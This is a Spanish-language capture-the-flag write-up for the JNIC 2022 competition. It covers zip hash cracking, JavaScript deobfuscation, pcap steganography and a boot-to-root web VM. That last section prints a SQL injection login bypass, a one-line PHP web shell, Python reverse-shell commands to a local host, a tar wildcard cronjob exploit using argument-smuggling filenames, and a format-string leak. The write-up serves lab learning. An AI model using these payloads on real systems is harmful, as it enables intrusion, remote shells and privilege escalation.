Introducción

En este writeup contaremos nuestra solución a los diferentes retos propuestos en el CTF de las Jornadas Nacionales de Investigación en Ciberseguridad 2022, en el que logramos obtener la primera posición. Muchas gracias a todos los miembros de la organización que han colaborado para crear los retos y a los patrocinadores por los premios de la competición. Sin más demora, al lío.

Reto 1: Papel Moneda 💸

En este reto se nos presenta un archivo .zip que contiene lo que en un principio parece un fichero .iso.

Sin embargo, al abrir este fichero con 7zip o WinRar, encontramos que es otro fichero comprimido.

Este segundo fichero no se puede descomprimir, puesto que está protegido por contraseña. En su interior, hay un fichero .txt llamado Flag.txt, que parece contener la flag del reto.

Obtención de la contraseña

Utilizaremos el comando zip2john de la siguiente forma:


zip2john PapelMoneda.zip

o, en su defecto, alguna web como por ejemplo https://www.onlinehashcrack.com/tools-zip-rar-7z-archive-hash-extractor.php, obteniendo así el hash del fichero que le pasaremos posteriormente a hashcat:


$pkzip2$1*2*2*0*1c*10*22378727*0*42*0*1c*2237*58a7*c92104bb82a38ae67bcaeb4167094d1a8ac21183c2d544b22d6f1104*$/pkzip2$

Sin embargo, no es suficiente puesto que los típicos diccionarios no contienen la contraseña del fichero, por lo que volvemos a revisar el resto de ficheros del archivo comprimido.

Observando el fichero papelMoneda.svg vemos una serie de cuadrados coloreados:

Cogiendo los valores de los colores en hexadecimal, en el orden en el que aparecen en el fichero SVG, se obtiene la siguiente cadena hexadecimal: 4C6120636C6176652065733A205F202B20526F636B596F75 haciendo ‘From Hex’ en la herramienta Cyberchef (o con cualquier otro traductor hexadecimal - ascii) obtenemos el siguiente mensaje:

La clave es: _ + RockYou

Este mensaje parece indicarnos que debemos añadir el caracter _ delante de las palabras del diccionario rockyou para encontrar la contraseña del zip. Por lo tanto, usaremos Hashcat para generar y probar todas las contraseñas con estas características utilizando la siguiente regla: ^_, que añadiremos a un fichero rules.txt. De esta forma, perpetramos el ataque basado en reglas que probablemente nos de la contraseña del fichero.

Lo primero que debemos hacer será seleccionar el modo de funcionamiento de hashcat, en este caso tenemos dos posibilidades:


  17225 | PKZIP (Mixed Multi-File)                            | Archive
  17210 | PKZIP (Uncompressed)                                | Archive

Revisando el zip con zipinfo, vemos que no está comprimido por lo que utilizamos el segundo modo, 17210, por lo que el comando final para obtener la flag sería el siguiente:


hashcat -m 17210 -r ~/Downloads/rules.txt ~/Downloads/reto.txt /usr/share/wordlists/rockyou.txt

La contraseña que se obtiene una vez finaliza hashcat es _princess, con la cual, finalmente, podemos acceder al archivo.

Flag: _H3LGa_D3-ALV3Ar

Reto 2: Fiebre del Automovil

En este reto tenemos un fichero ZIP llamado FiebreDelAutomovil.zip con una página web. La lógica de la misma se encuentra dentro del fichero ss.js:


var _0x452a = ["I0f", "#username", "#passwd", "val", "J0Ys" ,"#login", "click"];

(function (_0x9de62c, _0x452a09) {
    var _0x35df2d = function (_0x553bcf) {
        while (--_0x553bcf) {
            _0x9de62c["push"](_0x9de62c["shift"]());
        }
    };
    _0x35df2d(++_0x452a09);
})(_0x452a, 0x155);
var _0x35df = function (_0x9de62c, _0x452a09) {
    _0x9de62c = _0x9de62c - 0x1;
    var _0x35df2d = _0x452a[_0x9de62c];
    return _0x35df2d;
};

var _0x8nv = function (_0x27oc, _0x138gf) {
    return _0x27oc.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c<="Z"?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26);})
};


var _0x19395a = _0x35df;
$(_0x19395a("0x1"))[_0x19395a("0x2")](function () {
    var _0x4b999 = _0x19395a,
     _0x553bcf = $(_0x4b999("0x5"))[_0x4b999("0x6")](),
     _0x4e76e7 = _0x8nv("G3yy");
     $(_0x4b999("0x4"))[_0x4b999("0x6")]()+_0x553bcf == _0x8nv(_0x4b999("0x7")) + _0x8nv(_0x4b999("0x3")) + _0x4e76e7
        ? alert("Correcto!\x20la\x20flag\x20es:\x20usuario+contraseña")
        : alert("\x22Usuario\x20o\x20contraseña\x20incorrectos\x22") & $(_0x4b999("0x4"))[_0x4b999("0x6")]("") & $(_0x4b999("0x5"))[_0x4b999("0x6")]("")
});

Tenemos que averiguar el par usuario/contraseña que nos da acceso a la aplicación. Limpiamos el código a mano reemplazando los valores obfuscados por los correspondientes del array y obtenemos el siguiente código:



$('#login').click(function () {
     $('#username').val()+$('#passwd').val() == 'W0Lf' + 'V0s'+ 'T3ll';
        ? alert("Correcto! la flag es: usuario+contraseña")
        : alert('"Usuario o contraseña incorrectos"') & $("#username" ).val("") & $("#passwd" ).val("")
});

Por lo que la flag es: W0LfV0sT3ll

Reto 3: VII - VII

En este reto se nos proporciona un fichero servidor.pcap que debemos analizar. Para ello, utilizaremos la herramienta Wireshark.

A simple vista no parece que haya comunicaciones sospechosas, únicamente algunas transferencias HTTP de algunos ficheros. Para disponer de ellos, exportamos los objetos HTTP que contiene la traza, obteniendo así tres imágenes: mosaico, museo romano y tessera. Esta última parece la más interesante de todas, dado que contiene una especie de QR, aunque no tiene un formato habitual.

En este punto, probamos varias opciones: intentar generar un QR con el número hexadecimal, decodificar la imagen con un lector de QR, intentar encontrar alguna tool relacionada con Tessera… pero todo sin éxito. En este punto, decidimos hacer un poco de OSINT y buscar las imágenes mosaico y museo en Google, obteniendo la web del museo nacional de arte romano de Mérida, que es el museo que aparece en la imagen museo y que tiene entre su colección el mosaico de los Aurigas, que es el que aparece en la imagen mosaico. Utilizando cewl, generamos un diccionario con las palabras contenidas en la página del museo que habla sobre esta pieza:

Utilizando la herramienta stegseek con el diccionario utilizado sobre la imagen del QR (tessera), obtenemos la flag:

Flag: art3_ROman0

Reto 4: Guggenheim’s Server 🖥️

Descripción del reto

En este último reto, debes intentar encontrar 4 nuevas banderas. Para poder realizar el reto correctamente, debes seguir los siguientes pasos: Descarga la máquina virtual desde el siguiente enlace. https://drive.google.com/file/d/1s2XWsEMntht7JYKWsnNJxodDIsPhR8R1/view Ejecuta la máquina virtual (no debes iniciar sesión en ella). Obtén la dirección IP de la máquina (utiliza ifconfig, por ejemplo). Accede en el navegador a DIRECCION_IP_MAQUINA/index.php. Encuentra las banderas. Cada bandera, deberá ser entregada en cada una de las partes del reto. DIRECCION_IP/index.php

Configuración inicial

Montamos la VM en VirtualBox, cambiamos la configuración para que el adaptador de red esté en modo puente y podamos acceder directamente a los puertos de la VM. Accedemos a http://192.168.1.11/index.php y tenemos la siguiente web:

Enumeración

Analizando el código fuente de la web, vemos que en la parte de los estilos se referencia una carpeta de imágenes.

al acceder a ella vemos que el directory listing está habilitado, por lo que podemos ver los ficheros que contiene:

Nos descargamos las 3 imagenes, g1.jpg, g2.jpg, index.jpg y revisando todas con exiftool, vemos que index.jpg contiene un base64:


ExifTool Version Number         : 11.50
File Name                       : index.jpg
Directory                       : .
File Size                       : 226 kB
File Modification Date/Time     : 2022:06:24 18:04:54+02:00
File Access Date/Time           : 2022:06:24 18:05:45+02:00
File Inode Change Date/Time     : 2022:06:24 18:05:31+02:00
File Permissions                : rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
DCT Encode Version              : 100
APP14 Flags 0                   : [14], Encoded with Blend=1 downsampling
APP14 Flags 1                   : (none)
Color Transform                 : YCbCr
Comment                         : N2NjMTNlODktOWFhZi00ZGE1LTk4MDktZTc1NTdhN2Q4NmIwIFNvbG8gcGFyYSBtaWVtYnJvcwo=
Image Width                     : 1440
Image Height                    : 960
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 1440x960
Megapixels                      : 1.4
Obteniendo el decoding en Cyberchef obtenemos el siguiente mensaje:


7cc13e89-9aaf-4da5-9809-e7557a7d86b0 Solo para miembros

Esto parece indicar que existe un directorio en la web con dicho nombre que requiere autenticación. Si accedemos directamente a la URL http://192.168.1.11/7cc13e89-9aaf-4da5-9809-e7557a7d86b0 obtendremos un 404 - Not found como respuesta. Pero sabemos que la tecnología utilizada para implementar la web es PHP, dado que el index tenía esta extensión. Por tanto, probamos a acceder a http://192.168.1.11/7cc13e89-9aaf-4da5-9809-e7557a7d86b0.php, esta vez con éxito.

Parte 1 - Inicio de sesión SQLi

Accedemos a la web previamente mencionada y vemos el siguiente contenido:

Tenemos una página de login, por lo que probamos si es vulnerable a SQLi con la siguiente combinación de usuario y contraseña:


usuario: any ' or '1'='1' -- -
password: password
Con esta inyección básica, obtenemos el siguiente resultado:

Consiguiendo la primera flag:

flag{PuppyByJeffK00n$}

Parte 2 - Shell reversa

En este punto tenemos un panel dónde podemos subir contenido, en teoría archivos de imagen. Para probar si es posible subir ficheros con otro formato, subimos un fichero test.txt, y recargamos la pagina:

Como podemos ver, el nombre del fichero cambia a un posible hash, pero como el listado de directorios está activo en el servidor, podemos ver cuál es el nombre asignado a nuestros ficheros, y comprobar que la extensión del fichero no cambia. Por tanto, vamos a subir una shell PHP en un fichero llamado shell.php con el siguiente contenido:


<?=`$_GET[1]`?>
Como podemos ver, se ha subido correctamente:

Ahora, pasando como parámetro 1 de la petición GET a la web el comando que queramos ejecutar, podemos lanzar comandos de shell, por ejemplo un ls con la forma: /_S3cr3t_G4ll3ry_F0ld3r_D0_N0t_Fuzz_1t/5cbcbb971b575bf48f61e963000f286a.php?1=ls, obteniendo así el listado del directorio actual:

Ahora, al poder ejecutar comandos, podemos ver el contenido de los directorios que queramos. Listando el directorio padre (ls ../), encontramos una carpeta interesante: db.

Listando ese directorio (ls ../db), vemos el fichero db.php:

Visualizamos el contenido lanzando el comando cat ../db/db.php con nuestra shell y analizamos el fichero.

Si nos fijamos, el fichero aparece cortado. Si inspeccionamos el HTML de la web, podemos analizar el contenido completo del fichero y veremos que hemos obtenido las credenciales para la BBDD, que son:

Usuario: phpmyadmin Password: uG6#)yUJZE3"Rg&k

Además, revisando el código podemos comprobar por qué el login inicial era vulnerable a SQL injection, concretamente en la línea:


$query = "Select * from users where name='$usr' and password='password' limit 1";

Al usuario y la contraseña no les hemos encontrado utilidad, pero es algo interesante de mencionar y que en este punto no podemos dejar pasar por alto.

Para hacer más cómodos los siguientes pasos, vamos a lanzar una shell reversa hacia nuestra máquina. Para ello, utilizaremos el siguiente comando a través de nuestra shell:

192.168.1.11/_S3cr3t_G4ll3ry_F0ld3r_D0_N0t_Fuzz_1t/5cbcbb971b575bf48f61e963000f286a.php?1=python3%20%2Dc%20%27import%20socket%2Cos%2Cpty%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22192%2E168%2E1%2E10%22%2C1234%29%29%3Bos%2Edup2%28s%2Efileno%28%29%2C0%29%3Bos%2Edup2%28s%2Efileno%28%29%2C1%29%3Bos%2Edup2%28s%2Efileno%28%29%2C2%29%3Bpty%2Espawn%28%22%2Fbin%2Fsh%22%29%27

Y en nuestra máquina local ejecutaremos el comando:

netcat -lvnp 1234

Obteniendo así una shell reversa:

La hacemos un poco más funcional con el comando python3 -c 'import pty; pty.spawn("/bin/bash")'

Parte 3 - Escalado de privilegios

Ahora que podemos lanzar comandos en la máquina, vemos que somos el usuario www-data. Por lo tanto, muy probablemente necesitaremos escalar privilegios para obtener las siguientes flags. Para automatizar este proceso, nos descargamos LinPEAS del repositorio de Github y lo ejecutamos, redirigiendo la salida a un fichero para poder leerla más cómodamente después. Lo haremos mediante los siguientes comandos:


wget https://github.com/carlospolop/PEASS-ng/releases/download/20220619/linpeas.sh

./linpeas.sh > scalate.log

Una vez finalizado, accedemos a scalate.log y vemos que es la máquina es potencialmente vulnerable al CVE-2022-0847, que podríamos usar para escalar a root directamente:

Ahora buscamos algún exploit para este CVE. Encontramos el siguiente enlace https://github.com/febinrev/dirtypipez-exploit/blob/main/dirtypipez.c que nos proporciona un exploit para la vulnerabilidad, el cual compilaremos y ejecutaremos. Descargaremos el fichero del repositorio con

wget https://raw.githubusercontent.com/febinrev/dirtypipez-exploit/main/dirtypipez.c

Y lo compilamos y ejecutamos:

Por desgracia, no hemos conseguido explotar la vulnerabilidad. Vamos a ejecutar pspy64 para ver si encontramos algún proceso sospechoso. Durante la ejecución, nos damos cuenta de que hay un procedimiento que se encarga de hacer un backup de la página web cada cierto tiempo:

Así que vamos a ver si podemos editarlo. Moviéndonos a /var y listando este directorio nos encontramos la flag de nuestro usuario www-data:

Flag: flag{PinTX0$}

Ahora continuamos con nuestra escalada de privilegios. Revisando el comando utilizado para hacer el backup, vemos que este cronjob es vulnerable al utilizar el wildcard * en su ejecución, lo que nos permitirá crear una shell reversa impersonando al usuario que ejecute el cronjob, en este caso user.

Gracias a la web GTFObins podemos encontrar un modo de explotar este comportamiento:

tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

El problema aquí es que debemos crear ficheros cuyo nombre se corresponda con los parámetros que queremos añadir al comando tar, y el caracter / no está permitido como nombre de fichero. Para saltarnos esta restricción, creamos un script llamado paco.sh que en su interior contenga el comando para lanzar una shell reversa hacia nuestra máquina:


python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.10",1235));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")')

Creamos también los ficheros que nos permiten explotar la vulnerabilidad, cuyos nombres sean --checkpoint=1 y --checkpoint-action=exec='sh paco.sh' respectivamente. De esta forma conseguiremos una reverse shell, impersonando al usuario user cuando se ejecute el cronjob de nuevo:

Recibiendo la conexión en nuestra máquina host:

Ahora, si nos vamos al /home del usuario, podemos obtener la flag de user:

flag{TxAp3l4S}

Haciendo ls, vemos un fichero interesante creado por root en el /home del user, el fichero test:

Ejecutando el comando file vemos que se trata de un binario ejecutable de 64 bits.

Ejecutando el comando strings sobre el ejecutable, obtenemos la última flag:

flag{*Gugg3nh3im-BilbA0*}

Parte 4 (Bonus) - Reversing del binario con Ghidra y explotación

Habiendo obtenido todas las flags, vamos a reversear el binario para ver si hubiésemos podido obtener la flag con métodos más estrictos. Para ello, descargamos el fichero a una máquina virtual Kali en la que tenemos instalado el software Ghidra, ideal para tareas de reversing. Una vez abierto y analizado el fichero, observamos el siguiente código fuente:

Como podemos ver, se leen 40 bytes de la entrada estándar y se guardan en la variable local_38, para posteriormente imprimirlo a través del primer argumento de printf, en vez del segundo o sucesivos. Esta práctica supone una vulnerabilidad, ya que el string del usuario podría contener strings de formateo (%x, %s…) como se demostrará más adelante. Primero ejecutamos el fichero, comprobando la funcionalidad básica:

¿Qué pasa si incluimos caracteres de formateo de strings, por ejemplo %s%s%s%s%s%s%s%s?

Como en el código original la llamada a printf no tiene más argumentos, estamos recorriendo el stack imprimiendo diferentes valores existentes en memoria, por lo que podemos obtener la flag aprovechando dicha vulnerabilidad.

La versión no vulnerable de la misma función sería algo similar a:


printf("%s", string_del_usuario);

Agradecimientos

Gracias de nuevo a la organización y a los patrocinadores por hacer este tipo de competiciones posibles, seguiremos participando en futuras ediciones.

Autores: